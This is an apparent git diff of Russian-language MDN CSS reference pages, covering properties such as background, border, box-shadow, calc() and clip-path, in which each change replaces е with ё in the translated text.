              • {{cssxref("@viewport")}} {{experimental_inline}} — Описывает аспекты области просмотра для устройств с маленьким экраном. (в настоящее время на стадии разработки проекта)
                • 
-   
              • {{cssxref("@counter-style")}} — Определяет конкретные counter-styles, которые не являются частью предопределенного набора стилей.
                • 
+   
              • {{cssxref("@counter-style")}} — Определяет конкретные counter-styles, которые не являются частью предопределённого набора стилей.
                • 
    
              • {{cssxref("@font-feature-values")}} (плюс @swash, @ornaments, @annotation, @stylistic, @styleset и @character-variant)
                
     — Определите общие имена в {{cssxref("font-option-alternates")}} для функции, которая по-разному активируется в OpenType (at the Candidate Recommendation stage, but only implemented in Gecko as of writing)
                • 
   
              
@@ -45,7 +45,7 @@ translation_of: Web/CSS/At-rule
  
            • {{cssxref("@document")}}. (deferred to Level 4 of CSS Spec) 
              • 
 
            
 
-
            Поскольку каждая условная группа может также содержать вложенные операторы, может быть неопределенное количество вложений.
            
+
            Поскольку каждая условная группа может также содержать вложенные операторы, может быть неопределённое количество вложений.
            
 
 
            Характеристики
            
 
diff --git a/files/ru/web/css/attribute_selectors/index.html b/files/ru/web/css/attribute_selectors/index.html
index 2b8ac3861c..f2affc9d98 100644
--- a/files/ru/web/css/attribute_selectors/index.html
+++ b/files/ru/web/css/attribute_selectors/index.html
@@ -15,15 +15,15 @@ translation_of: Web/CSS/Attribute_selectors
  
            [attr=value]
            
  
            Обозначает элемент с именем атрибута attr и значением в точности совпадающим с value.
            
  
            [attr~=value]
            
- 
            Обозначает элемент с именем атрибута attr значением которого является набор слов разделенных пробелами, одно из которых в точности равно value
            
+ 
            Обозначает элемент с именем атрибута attr значением которого является набор слов разделённых пробелами, одно из которых в точности равно value
            
  
            [attr|=value]
            
  
            Обозначает элемент с именем атрибута attr. Его значение при этом может быть или в точности равно "value" или может начинаться с "value" со сразу же следующим "-" (U+002D). Это может быть использовано когда язык описывается с подходом.
            
  
            [attr^=value]
            
  
            Обозначает элемент с именем атрибута attr значение которого начинается с "value"
            
  
            [attr$=value]
            
- 
            Обозначает элемент с именем атрибута attr чье значение заканчивается на "value"
            
+ 
            Обозначает элемент с именем атрибута attr чьё значение заканчивается на "value"
            
  
            [attr*=value]
            
- 
            Обозначает элемент с именем атрибута attr чье значение содержит по крайней мере одно вхождение строки "value" как подстроки.
            
+ 
            Обозначает элемент с именем атрибута attr чьё значение содержит по крайней мере одно вхождение строки "value" как подстроки.
            
 
 
 
            Пример
            
@@ -31,13 +31,13 @@ translation_of: Web/CSS/Attribute_selectors
 
            /* Все span с атрибутом "lang" будут жирными */
 span[lang] {font-weight:bold;}
 
-/* Все span в Португалии будут зелеными */
+/* Все span в Португалии будут зелёными */
 span[lang="pt"] {color:green;}
 
 /* Все span с американским английским будут синими */
 span[lang~="en-us"] {color: blue;}
 
-/* Любые span на китайском языке будут красными, как на упрощенном китайском (zh-CN) так и на традиционном (zh-TW) */
+/* Любые span на китайском языке будут красными, как на упрощённом китайском (zh-CN) так и на традиционном (zh-TW) */
 span[lang|="zh"] {color: red;}
 
 /* Все внутренние ссылки будут иметь золотой фон */
diff --git a/files/ru/web/css/backdrop-filter/index.html b/files/ru/web/css/backdrop-filter/index.html
index b971c15abd..48b9e9cc09 100644
--- a/files/ru/web/css/backdrop-filter/index.html
+++ b/files/ru/web/css/backdrop-filter/index.html
@@ -41,9 +41,9 @@ translation_of: Web/CSS/backdrop-filter
 
 
            
  
            none
            
- 
            Фильтр отключен для фона
            
+ 
            Фильтр отключён для фона
            
  
            <filter-function-list>
            
- 
            Перечень фильтров, разделенных пробелами функций {{cssxref("<filter-function>")}} или SVG фильтра, которые применены для фона.
            
+ 
            Перечень фильтров, разделённых пробелами функций {{cssxref("<filter-function>")}} или SVG фильтра, которые применены для фона.
            
 
            
 
 
            Формальный синтаксис
            
diff --git a/files/ru/web/css/backface-visibility/index.html b/files/ru/web/css/backface-visibility/index.html
index f6bf261e3b..870c9de709 100644
--- a/files/ru/web/css/backface-visibility/index.html
+++ b/files/ru/web/css/backface-visibility/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/backface-visibility
 ---
 
            {{CSSRef}}{{SeeCompatTable}}
            
 
-
            Свойство backface-visibility определяет, видно ли заднюю грань элемента, когда он повернут к пользователю.
            
+
            Свойство backface-visibility определяет, видно ли заднюю грань элемента, когда он повёрнут к пользователю.
            
 
 
            {{EmbedInteractiveExample("pages/css/backface-visibility.html")}}
            
 
@@ -30,9 +30,9 @@ backface-visibility: unset;
            
 
 
            
  
            visible
            
- 
            Задняя сторона видна, когда повернута к пользователю.
            
+ 
            Задняя сторона видна, когда повёрнута к пользователю.
            
  
            hidden
            
- 
            Задняя поверхность скрыта, что делает элемент невидимым, когда он повернутый от пользователя.
            
+ 
            Задняя поверхность скрыта, что делает элемент невидимым, когда он повёрнутый от пользователя.
            
 
            
 
 
            Официальный синтаксис
            
diff --git a/files/ru/web/css/background-attachment/index.html b/files/ru/web/css/background-attachment/index.html
index c88a2fc71d..d16e4fe743 100644
--- a/files/ru/web/css/background-attachment/index.html
+++ b/files/ru/web/css/background-attachment/index.html
@@ -28,7 +28,7 @@ background-attachment: inherit;
 background-attachment: initial;
 background-attachment: unset;
            -

            Значение свойства background-attachment задается одним из ключевых значений из списка ниже.

            +

            Значение свойства background-attachment задаётся одним из ключевых значений из списка ниже.

            Значения

            @@ -38,7 +38,7 @@ background-attachment: unset;
            local
            Фон фиксируется относительно содержимого элемента. Если элемент имеет механизм прокрутки, фон прокручивается с содержимым элемента, и область рисования фона и область позиционирования фона относятся к прокручиваемой области элемента, а не к границе, обрамляющей их.
            scroll
            -
            Фон фиксируется относительно самого элемента и не прокручивается с его содержимым. (Он фактически прикреплен к границе элемента.)
            +
            Фон фиксируется относительно самого элемента и не прокручивается с его содержимым. (Он фактически прикреплён к границе элемента.)

            Формальный синтаксис

            @@ -72,7 +72,7 @@ background-attachment: unset;

            Поддержка нескольких фоновых изображений

            -

            Это свойство поддерживает несколько фоновых изображений. Вы можете указать разные <attachment> для каждого фона, разделенных запятыми. Каждое изображение сопоставляется с соответствующим типом вложения, от первого указанного до последнего.

            +

            Это свойство поддерживает несколько фоновых изображений. Вы можете указать разные <attachment> для каждого фона, разделённых запятыми. Каждое изображение сопоставляется с соответствующим типом вложения, от первого указанного до последнего.

            HTML

            @@ -118,7 +118,7 @@ background-attachment: unset; - + diff --git a/files/ru/web/css/background-blend-mode/index.html b/files/ru/web/css/background-blend-mode/index.html index e55a99aa83..405a76ed14 100644 --- a/files/ru/web/css/background-blend-mode/index.html +++ b/files/ru/web/css/background-blend-mode/index.html @@ -29,7 +29,7 @@ background-blend-mode: unset;
            <blend-mode>
            -
            {{cssxref("<blend-mode>")}} обозначающий режим наложения, который применен. Может быть несколько значений, разделенных запятыми.
            +
            {{cssxref("<blend-mode>")}} обозначающий режим наложения, который применён. Может быть несколько значений, разделённых запятыми.

            Пример

            diff --git a/files/ru/web/css/background-clip/index.html b/files/ru/web/css/background-clip/index.html index ddc05598eb..7c7f5bc3dc 100644 --- a/files/ru/web/css/background-clip/index.html +++ b/files/ru/web/css/background-clip/index.html @@ -112,7 +112,7 @@ background-clip: unset;

            Смотрите также

              -
            • Свойство {{cssxref("clip-path")}} создает область отсечения, которая определяет, которая определяет, какая часть целого элемента должна отображаться.
              • +
            • Свойство {{cssxref("clip-path")}} создаёт область отсечения, которая определяет, которая определяет, какая часть целого элемента должна отображаться.
            • Свойства фона: {{cssxref("background")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}
            • Введение в блочную модель CSS
            diff --git a/files/ru/web/css/background-image/index.html b/files/ru/web/css/background-image/index.html index 095ff8ee1e..cdcf7b8c79 100644 --- a/files/ru/web/css/background-image/index.html +++ b/files/ru/web/css/background-image/index.html @@ -14,9 +14,9 @@ translation_of: Web/CSS/background-image

            Свойство CSS  background-image устанавливает одно или несколько фоновых изображений для элемента. Изображения рисуются в слоях контекстов наложения одно поверх другого. Первый слой выводится так, чтобы он был ближе всего к пользователю.

            -

            Границы {{cssxref("border")}} элемента затем рисуются поверх них, и {{cssxref("background-color")}} рисуется под ними. То, как изображения отрисовываются относительно рамки и ее границ, определяется CSS свойствами {{cssxref("background-clip")}} и {{cssxref("background-origin")}}.

            +

            Границы {{cssxref("border")}} элемента затем рисуются поверх них, и {{cssxref("background-color")}} рисуется под ними. То, как изображения отрисовываются относительно рамки и её границ, определяется CSS свойствами {{cssxref("background-clip")}} и {{cssxref("background-origin")}}.

            -

            Если указанное изображение не может быть нарисовано (например, когда файл, определенный указанным URI, не может быть загружен), браузеры обрабатывают его так, как если бы оно было значением none.

            +

            Если указанное изображение не может быть нарисовано (например, когда файл, определённый указанным URI, не может быть загружен), браузеры обрабатывают его так, как если бы оно было значением none.

            Обратите внимание: Даже, если изображение непрозрачно и цвет не будет показан при нормальных обстоятельствах, веб-разработчику следует всегда указывать атрибут {{cssxref("background-color")}}. Если изображение не может быть загружено —например, в случае отказа сетевого подключения — у элемента будет отображён цветной фон.
            @@ -36,7 +36,7 @@ background-image: inherit;
            none
            Это ключевое слово обозначает отсутствие изображений.
            <image>
            -
            {{cssxref("<image>")}} обозначает изображение для отображения. Их может быть несколько, разделенных запятыми, поскольку поддерживается несколько фонов.
            +
            {{cssxref("<image>")}} обозначает изображение для отображения. Их может быть несколько, разделённых запятыми, поскольку поддерживается несколько фонов.

            Официальный синтаксис

            diff --git a/files/ru/web/css/background-position-x/index.html b/files/ru/web/css/background-position-x/index.html index 3aaa1af51e..ffebd13721 100644 --- a/files/ru/web/css/background-position-x/index.html +++ b/files/ru/web/css/background-position-x/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/background-position-x -

            Значение этого свойства отменяется любой декларацией {{cssxref("background")}} или коротким свойством {{cssxref("background-position")}} примененными после его объявления.

            +

            Значение этого свойства отменяется любой декларацией {{cssxref("background")}} или коротким свойством {{cssxref("background-position")}} применёнными после его объявления.

            Синтаксис

            @@ -41,7 +41,7 @@ background-position-x: initial; background-position-x: unset; -

            Свойство background-position-x принимает одно или несколько значений, разделенных запятыми.

            +

            Свойство background-position-x принимает одно или несколько значений, разделённых запятыми.

            Значения

            diff --git a/files/ru/web/css/background-position/index.html b/files/ru/web/css/background-position/index.html index dcd216c010..97620ff7d2 100644 --- a/files/ru/web/css/background-position/index.html +++ b/files/ru/web/css/background-position/index.html @@ -43,7 +43,7 @@ background-position: initial; background-position: unset; -

            Свойство background-position указывается в виде одного или нескольких значений <position>, разделенных запятыми.

            +

            Свойство background-position указывается в виде одного или нескольких значений <position>, разделённых запятыми.

            Значения

            @@ -83,7 +83,7 @@ background-position: unset;

            Примеры

            -

            Каждый из этих примеров использует свойство {{cssxref("background")}} для создания желтого, прямоугольного элемента, содержащего изображение звезды. В каждом примере, звезда находится в другой позиции. Третий пример иллюстрирует, как указать позиции для разных фоновых изображений в одном элементе.

            +

            Каждый из этих примеров использует свойство {{cssxref("background")}} для создания жёлтого, прямоугольного элемента, содержащего изображение звезды. В каждом примере, звезда находится в другой позиции. Третий пример иллюстрирует, как указать позиции для разных фоновых изображений в одном элементе.

            HTML

            @@ -102,7 +102,7 @@ div { margin-bottom: 12px; } -/* В этих примерах используется сокращенное свойство 'background' */ +/* В этих примерах используется сокращённое свойство 'background' */ .exampleone { background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #FFEE99 2.5cm bottom no-repeat; } diff --git a/files/ru/web/css/background-repeat/index.html b/files/ru/web/css/background-repeat/index.html index 76eb8e36a1..ad4d0bffd0 100644 --- a/files/ru/web/css/background-repeat/index.html +++ b/files/ru/web/css/background-repeat/index.html @@ -177,7 +177,7 @@ div { - + diff --git a/files/ru/web/css/background-size/index.html b/files/ru/web/css/background-size/index.html index f93b74acd7..71c948b9e4 100644 --- a/files/ru/web/css/background-size/index.html +++ b/files/ru/web/css/background-size/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/background-size

            Значение background-size в CSS позволяет задавать размер фонового изображения. Изображение может быть оставлено в исходном размере, растянуто, или подогнано под размеры доступного пространства.

            -
            Предупреждение: Если значение этого свойства не задано в сокращенном свойстве {{cssxref("background")}}, которое применяется к элементу после CSS свойства background-size, то значение этого свойства затем сбрасывается до исходного значения c помощью сокращенного свойства.
            +
            Предупреждение: Если значение этого свойства не задано в сокращённом свойстве {{cssxref("background")}}, которое применяется к элементу после CSS свойства background-size, то значение этого свойства затем сбрасывается до исходного значения c помощью сокращённого свойства.

            {{cssinfo}}

            @@ -68,7 +68,7 @@ background-size: unset;

            Фоновые изображения, сгенерированные из элементов с использованием {{cssxref("-moz-element")}} (которые фактически соответствуют элементу) в настоящее время обрабатываются как изображения с размерами элемента, или как область расположения фона, если элементом является SVG, с соответствующей внутренней пропорцией.

            -
            Предупреждение: Это не определенное в настоящее время поведение, которое заключается в том, что внутренние размеры и пропорция должны быть такими же как у элемента во всех случаях.
            +
            Предупреждение: Это не определённое в настоящее время поведение, которое заключается в том, что внутренние размеры и пропорция должны быть такими же как у элемента во всех случаях.

            Визуализированный размер фонового изображения затем вычисляется следующим способом:

            @@ -76,14 +76,14 @@ background-size: unset;
            Если оба атрибута в background-size заданы и различны от auto:
            Фоновое изображение отображается в указанном размере.
            Если background-size содержит contain или cover:
            -
            Изображение визуализируется с сохранением его внутренней пропорции при наибольшем размере, который содержится внутри области размещения фона или покрывает ее. Если изображение не имеет внутренней пропорции, оно отображается с размером области расположения фона.
            +
            Изображение визуализируется с сохранением его внутренней пропорции при наибольшем размере, который содержится внутри области размещения фона или покрывает её. Если изображение не имеет внутренней пропорции, оно отображается с размером области расположения фона.
            Если background-size установлен как auto или auto auto:
            -
            Если изображение имеет оба внутренних размера, оно отображается с таким размером. Если оно не имеет внутренних размеров и внутренней пропорции, оно отображается с размером области расположения фона. Если оно не имеет размеров, но имеет пропорцию, оно отображается так, если был был бы указан contain. Если изображение имеет один внутренний размер и пропорцию, оно отображается с размером, определенным этим одним размером и пропорцией. Если изображение имеет один внутренний размер, но не имеет пропорцию, оно отображается с использованием внутреннего размера и соответствующим размером области позиционирования фона.
            +
            Если изображение имеет оба внутренних размера, оно отображается с таким размером. Если оно не имеет внутренних размеров и внутренней пропорции, оно отображается с размером области расположения фона. Если оно не имеет размеров, но имеет пропорцию, оно отображается так, если был был бы указан contain. Если изображение имеет один внутренний размер и пропорцию, оно отображается с размером, определённым этим одним размером и пропорцией. Если изображение имеет один внутренний размер, но не имеет пропорцию, оно отображается с использованием внутреннего размера и соответствующим размером области позиционирования фона.
            Если background-size содержит один атрибут auto и один не-auto:
            Если изображение имеет внутреннюю пропорцию, то визуализируйте его используя указанный размер, и вычислите другой размер из указанного размера и внутренней пропорции. Если изображение не имеет внутренней пропорции, используйте указанный размер для этого размера. Для другого размера, используйте соответствующее внутреннее измерение изображения, если оно есть. Если такого внутреннего размера нет, используйте соответствующий размер области расположения фона.
            -

            Обратите внимание, что изменение размера фона для векторных изображений, в которых отсутствуют внутренние размеры или пропорции, еще не полностью реализовано во всех браузерах. Будьте осторожны, полагаясь на поведение, описанное выше, и тестируйте в нескольких браузерах (в частности, включая версии Firefox 7 или более ранней версии и Firefox 8 или более поздней версии), чтобы убедиться, что различные визуализации приемлемы.

            +

            Обратите внимание, что изменение размера фона для векторных изображений, в которых отсутствуют внутренние размеры или пропорции, ещё не полностью реализовано во всех браузерах. Будьте осторожны, полагаясь на поведение, описанное выше, и тестируйте в нескольких браузерах (в частности, включая версии Firefox 7 или более ранней версии и Firefox 8 или более поздней версии), чтобы убедиться, что различные визуализации приемлемы.

            Формальный синтаксис

            @@ -95,7 +95,7 @@ background-size: unset;

            Замечания

            -

            Если вы указываете градиент в качестве фона и указали background-size, который будет использоваться вместе с ним, лучше не указывать размер, который использует единственную автоматическую составную часть, или задается с использованием только значения ширины (для примера, background-size: 50%). Рендеринг градиентов в таких случаях изменился в Firefox 8, и в настоящее время он обычно несовместим во всех браузерах, которые не реализуют рендеринг в соответствии с CSS3 спецификацией background-size и с CSS3 спецификацией градиента значений изображения.

            +

            Если вы указываете градиент в качестве фона и указали background-size, который будет использоваться вместе с ним, лучше не указывать размер, который использует единственную автоматическую составную часть, или задаётся с использованием только значения ширины (для примера, background-size: 50%). Рендеринг градиентов в таких случаях изменился в Firefox 8, и в настоящее время он обычно несовместим во всех браузерах, которые не реализуют рендеринг в соответствии с CSS3 спецификацией background-size и с CSS3 спецификацией градиента значений изображения.

            .bar {
        width: 50px; height: 100px;
diff --git a/files/ru/web/css/background/index.html b/files/ru/web/css/background/index.html
index 7b39d9589c..fafdb12cc3 100644
--- a/files/ru/web/css/background/index.html
+++ b/files/ru/web/css/background/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/background
 ---
 
            {{CSSRef("CSS Background")}}
            
 
-
            Сокращенное CSS свойство background  устанавливает сразу все свойства стиля фона, такие как цвет, изображение, источник и размер, или метод повтора.
            
+
            Сокращённое CSS свойство background  устанавливает сразу все свойства стиля фона, такие как цвет, изображение, источник и размер, или метод повтора.
            
 
 
            
 
@@ -15,7 +15,7 @@ translation_of: Web/CSS/background
 
 
            Свойство является сокращением, которое устанавливает следующие свойства в одном объявлении: {{cssxref("background-clip")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, и {{cssxref("background-attachment")}}.
            
 
-
            Как и во всех сокращенных свойствах, любые пропущенные вложенные значения будут установлены в свои изначальные значения.
            
+
            Как и во всех сокращённых свойствах, любые пропущенные вложенные значения будут установлены в свои изначальные значения.
            
 
 
 
@@ -54,7 +54,7 @@ background: no-repeat center/80% url("../img/image.png");
  
            <repeat-style>
            
  
            Смотри {{cssxref("background-repeat")}}
            
  
            <bg-size>
            
- 
            Смотри {{cssxref("background-size")}}. Это свойство должно быть указано после <position>, разделенного символом '/'.
            
+ 
            Смотри {{cssxref("background-size")}}. Это свойство должно быть указано после <position>, разделённого символом '/'.
            
 
 
 
            Формальный синтаксис
            
diff --git a/files/ru/web/css/block-size/index.html b/files/ru/web/css/block-size/index.html
index 413705bb6d..c7d9f6ada4 100644
--- a/files/ru/web/css/block-size/index.html
+++ b/files/ru/web/css/block-size/index.html
@@ -13,7 +13,7 @@ translation_of: Web/CSS/block-size
 ---
 
            {{CSSRef}}{{SeeCompatTable}}
            
 
-
            Свойство block-size CSS задает горизонтальный и вертикальный размер блока элемента, в зависимости от режима его записи (writing mode). Оно соответствует свойствам {{cssxref("width")}} и {{cssxref("height")}} и зависит от значения свойства {{cssxref("writing-mode")}}.
            
+
            Свойство block-size CSS задаёт горизонтальный и вертикальный размер блока элемента, в зависимости от режима его записи (writing mode). Оно соответствует свойствам {{cssxref("width")}} и {{cssxref("height")}} и зависит от значения свойства {{cssxref("writing-mode")}}.
            
 
 
            /* <length> values */
 block-size: 300px;
@@ -37,7 +37,7 @@ block-size: initial;
 block-size: unset;
 
            
 
-
            Если режим записи (writing mode) ориентирован по вертикали, то значение  block-size  относится к ширине элемента; в противном случае это относится к высоте элемента. С данным свойством связано свойство {{cssxref("inline-size")}}, которое задает другое измерение элемента.
            
+
            Если режим записи (writing mode) ориентирован по вертикали, то значение  block-size  относится к ширине элемента; в противном случае это относится к высоте элемента. С данным свойством связано свойство {{cssxref("inline-size")}}, которое задаёт другое измерение элемента.
            
 
 
            {{cssinfo}}
            
 
@@ -92,7 +92,7 @@ block-size: unset;
 
 
            Совместимость с браузерами
            
 
-
+
 
 
            {{Compat("css.properties.block-size")}}
            
 
diff --git a/files/ru/web/css/border-image-slice/index.html b/files/ru/web/css/border-image-slice/index.html
index 9841ac6e97..4a7890a181 100644
--- a/files/ru/web/css/border-image-slice/index.html
+++ b/files/ru/web/css/border-image-slice/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/border-image-slice
 
 
            Описание
            
 
-
            CSS свойство border-image-slice  делит изображение указанное в {{cssxref("border-image-source")}} на девять областей: четыре угла, четыре края и середину. Это происходит путем указания 4 внутренних смещений.
            
+
            CSS свойство border-image-slice  делит изображение указанное в {{cssxref("border-image-source")}} на девять областей: четыре угла, четыре края и середину. Это происходит путём указания 4 внутренних смещений.
            
 
 
            The nine slices defined by the CSS border-image shorthand or border-image-slice longhand propertiesЧетыре значения управляют положением линий среза. If some are not specified, they are inferred from the other with the usual 4-value syntax of CSS.
            
 
diff --git a/files/ru/web/css/border-radius/index.html b/files/ru/web/css/border-radius/index.html
index 3a597a4b3b..d08dd0e681 100644
--- a/files/ru/web/css/border-radius/index.html
+++ b/files/ru/web/css/border-radius/index.html
@@ -10,7 +10,7 @@ translation_of: Web/CSS/border-radius
 ---
 
            {{CSSRef}}
            
 
-
            border-radius — это CSS-свойство, позволяющее разработчикам определять, как скругляются границы блока. Закругленность каждого угла определяется с помощью одного или двух радиусов, определяя его форму: круг или эллипс.
            
+
            border-radius — это CSS-свойство, позволяющее разработчикам определять, как скругляются границы блока. Закруглённость каждого угла определяется с помощью одного или двух радиусов, определяя его форму: круг или эллипс.
            
 
 
            {{EmbedInteractiveExample("pages/css/border-radius.html")}}
            
 
@@ -22,7 +22,7 @@ translation_of: Web/CSS/border-radius
 
 
            Свойство border-radius не применяется к элементам таблицы, когда свойство {{Cssxref ("border-collapse")}} имеет значение collapse.
            
 
-
            Замечание: Как и с любым другим сокращенным свойством, отдельные подсвойства не могут наследоваться. Например, как в border-radius:0 0 inherit inherit, что будет частично переопределять существующие определения. Вместо этого должны использоваться отдельные длинные свойства.
            
+
            Замечание: Как и с любым другим сокращённым свойством, отдельные подсвойства не могут наследоваться. Например, как в border-radius:0 0 inherit inherit, что будет частично переопределять существующие определения. Вместо этого должны использоваться отдельные длинные свойства.
            
 
 
            Синтаксис
            
 
@@ -39,7 +39,7 @@ border-radius: 2px 4px 2px;
 /* top-left | top-right | bottom-right | bottom-left */
 border-radius: 1px 0 3px 4px;
 
-/* Синтаксис из двух радиусов также может применяться ко всем четырем углам */
+/* Синтаксис из двух радиусов также может применяться ко всем четырём углам */
 /* (первые значения радиуса) /радиус */
 border-radius: 10px 5% / 20px;
 
diff --git a/files/ru/web/css/border-width/index.html b/files/ru/web/css/border-width/index.html
index 05b2360748..19fe6770ab 100644
--- a/files/ru/web/css/border-width/index.html
+++ b/files/ru/web/css/border-width/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/border-width
 
 
            Summary
            
 
-
            CSS свойство {{cssxref("border-width")}} определяет ширину рамки элемента. Но обычно ее задают не отдельно, а в составе свойства {{cssxref("border")}}.
            
+
            CSS свойство {{cssxref("border-width")}} определяет ширину рамки элемента. Но обычно её задают не отдельно, а в составе свойства {{cssxref("border")}}.
            
 
 
            {{cssinfo}}
            
 
diff --git a/files/ru/web/css/border/index.html b/files/ru/web/css/border/index.html
index 6ae7e6460b..93ce8b8020 100644
--- a/files/ru/web/css/border/index.html
+++ b/files/ru/web/css/border/index.html
@@ -25,7 +25,7 @@ border: medium dashed green;
 
             
            
 
 
            
-
            Замечание: Рекомендуется использовать border, когда вы хотите установить все свойства границ одновременно. Тогда как универсальные свойства {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, и {{Cssxref("border-color")}}  принимают до четырех значений, позволяя установить различные значения для каждого ребра, border принимает единственное значение для каждого свойства. И этот стиль применяется для всех четырех границ.
            
+
            Замечание: Рекомендуется использовать border, когда вы хотите установить все свойства границ одновременно. Тогда как универсальные свойства {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, и {{Cssxref("border-color")}}  принимают до четырёх значений, позволяя установить различные значения для каждого ребра, border принимает единственное значение для каждого свойства. И этот стиль применяется для всех четырёх границ.
            
 
            
 
 
            Синтаксис
            
diff --git a/files/ru/web/css/bottom/index.html b/files/ru/web/css/bottom/index.html
index c0190058df..5ecde8ca47 100644
--- a/files/ru/web/css/bottom/index.html
+++ b/files/ru/web/css/bottom/index.html
@@ -150,7 +150,7 @@ div {
 
            Совместимость с браузером
            
 
 
            
-
+
 
 
            {{Compat("css.properties.bottom")}}
            
 
            
diff --git a/files/ru/web/css/box-shadow/index.html b/files/ru/web/css/box-shadow/index.html
index b50dded28d..3366118622 100644
--- a/files/ru/web/css/box-shadow/index.html
+++ b/files/ru/web/css/box-shadow/index.html
@@ -53,7 +53,7 @@ box-shadow: unset;
   
              
    
            • Если задано только два значения, они интерпретируется как <offset-x><offset-y> values.
              • 
    
            • Если задано третье значение, оно понимается как <blur-radius>.
              • 
-   
            • Если задано четвертое значение, оно интерпретируется <spread-radius>.
              • 
+   
            • Если задано четвёртое значение, оно интерпретируется <spread-radius>.
              • 
   
            
  
  
          • Дополнительно, можно задать ключевое слово inset.
            • 
diff --git a/files/ru/web/css/box-sizing/index.html b/files/ru/web/css/box-sizing/index.html
index f0d5760e9e..72dda8d87a 100644
--- a/files/ru/web/css/box-sizing/index.html
+++ b/files/ru/web/css/box-sizing/index.html
@@ -38,7 +38,7 @@ translation_of: Web/CSS/box-sizing
 
 
            
  
            content-box
            
- 
            Это значение по умолчанию, определенное в CSS стандарте. Свойства width и height включают исключительно контент, и не включают padding и border. Например .box {width: 350px; border: 10px solid black;}  будет иметь ширину 370 пикселей.
            
+ 
            Это значение по умолчанию, определённое в CSS стандарте. Свойства width и height включают исключительно контент, и не включают padding и border. Например .box {width: 350px; border: 10px solid black;}  будет иметь ширину 370 пикселей.
            
  
            Размеры элемента рассчитываются следующим образом: width = ширина контента, и height = высота контента. (Границы и внутренние отступы не включаются в вычисление.)
            
 
            
 
diff --git a/files/ru/web/css/calc()/index.html b/files/ru/web/css/calc()/index.html
index 5dd08d22f0..550760de0a 100644
--- a/files/ru/web/css/calc()/index.html
+++ b/files/ru/web/css/calc()/index.html
@@ -44,7 +44,7 @@ translation_of: Web/CSS/calc()
 
 
            Позиционирование объекта в окне с помощью отступа
            
 
-
            calc() делает простым позиционирование объекта с помощью отступа. В этом примере создается баннер занимающий в ширину все окно с отступами по краям в 40px. 
            
+
            calc() делает простым позиционирование объекта с помощью отступа. В этом примере создаётся баннер занимающий в ширину все окно с отступами по краям в 40px. 
            
 
 
            .banner {
   position: absolute;
diff --git a/files/ru/web/css/class_selectors/index.html b/files/ru/web/css/class_selectors/index.html
index 714ac4588e..99c15c63d6 100644
--- a/files/ru/web/css/class_selectors/index.html
+++ b/files/ru/web/css/class_selectors/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/Class_selectors
 
 
            Краткое описание
            
 
-
            В HTML документе, селекторы по CSS классу находят элементы с нужным классом. Атрибут класса определяется как разделенный пробелами список элементов, и один из этих пунктов должен точно соответствовать имени класса, приведенному в селекторе.
            
+
            В HTML документе, селекторы по CSS классу находят элементы с нужным классом. Атрибут класса определяется как разделённый пробелами список элементов, и один из этих пунктов должен точно соответствовать имени класса, приведённому в селекторе.
            
 
 
            Синтаксис
            
 
diff --git a/files/ru/web/css/clear/index.html b/files/ru/web/css/clear/index.html
index 241ee74c7a..146132dfe3 100644
--- a/files/ru/web/css/clear/index.html
+++ b/files/ru/web/css/clear/index.html
@@ -21,7 +21,7 @@ translation_of: Web/CSS/clear
 
            Поплавки, которые имеют отношение к очистке, - это более ранние поплавки в одном и том же контексте форматирования блоков. 
            
 
 
            
-
            Заметка: Если элемент содержит только плавающие элементы, его высота сворачивается в ничто. Если вы хотите, чтобы он всегда мог изменять размер, чтобы он содержал в себе плавающие элементы, вам нужно самоочистить своих детей. Это называется clearfix, и один из способов сделать это - это заменит clear замененный {{cssxref("::after")}} псевдоэлемент на нем.
            
+
            Заметка: Если элемент содержит только плавающие элементы, его высота сворачивается в ничто. Если вы хотите, чтобы он всегда мог изменять размер, чтобы он содержал в себе плавающие элементы, вам нужно самоочистить своих детей. Это называется clearfix, и один из способов сделать это - это заменит clear заменённый {{cssxref("::after")}} псевдоэлемент на нем.
            
 
 
            #container::after {
   content: "";
@@ -224,7 +224,7 @@ p {
 
 
            Совместимость с браузером
            
 
-
+
 
 
            {{Compat("css.properties.clear")}}
            
 
diff --git a/files/ru/web/css/clip-path/index.html b/files/ru/web/css/clip-path/index.html
index 69fe7f99ed..55a8b1259a 100644
--- a/files/ru/web/css/clip-path/index.html
+++ b/files/ru/web/css/clip-path/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/clip-path
 ---
 
            {{CSSRef}}{{SeeCompatTable}}
            
 
-
            CSS свойство clip-path создает ограниченную область, которая определяет какая часть элемента должна быть видимой. Те части, которые находятся внутри области, видимы, в то время как части вне области, скрыты. Обрезанная область - это траектория, определяемая либо как внутренняя ссылка, либо как внешний SVG , либо как фигура, такая как круг (circle()).
            
+
            CSS свойство clip-path создаёт ограниченную область, которая определяет какая часть элемента должна быть видимой. Те части, которые находятся внутри области, видимы, в то время как части вне области, скрыты. Обрезанная область - это траектория, определяемая либо как внутренняя ссылка, либо как внешний SVG , либо как фигура, такая как круг (circle()).
            
 
 
            
 
            Историческая справка: Свойство clip-path заменило устаревшее свойство {{cssxref("clip")}} .
            
@@ -456,14 +456,14 @@ svg text.em {
  
            inset(), circle(), ellipse(), polygon()
            
  
            Функция {{cssxref("<basic-shape>")}}. Размер и положение области определяется значением <geometry-box>. Если геометрия не определена,border-box будет использоваться в качестве блока.
            
  
            <geometry-box>
            
- 
            Если определен в комбинации с <basic-shape>, это значение определяет блок для базовой области. Если задан самостоятельно, определяет границы блока, включая формирование углов (такое как {{cssxref("border-radius")}}). Геометрия может быть определена с помощью одного из следующих значений:
+ 
            Если определён в комбинации с <basic-shape>, это значение определяет блок для базовой области. Если задан самостоятельно, определяет границы блока, включая формирование углов (такое как {{cssxref("border-radius")}}). Геометрия может быть определена с помощью одного из следующих значений:
  
            
   
            fill-box
            
   
            Использует границы объекта в качестве базовой области.
            
   
            stroke-box
            
   
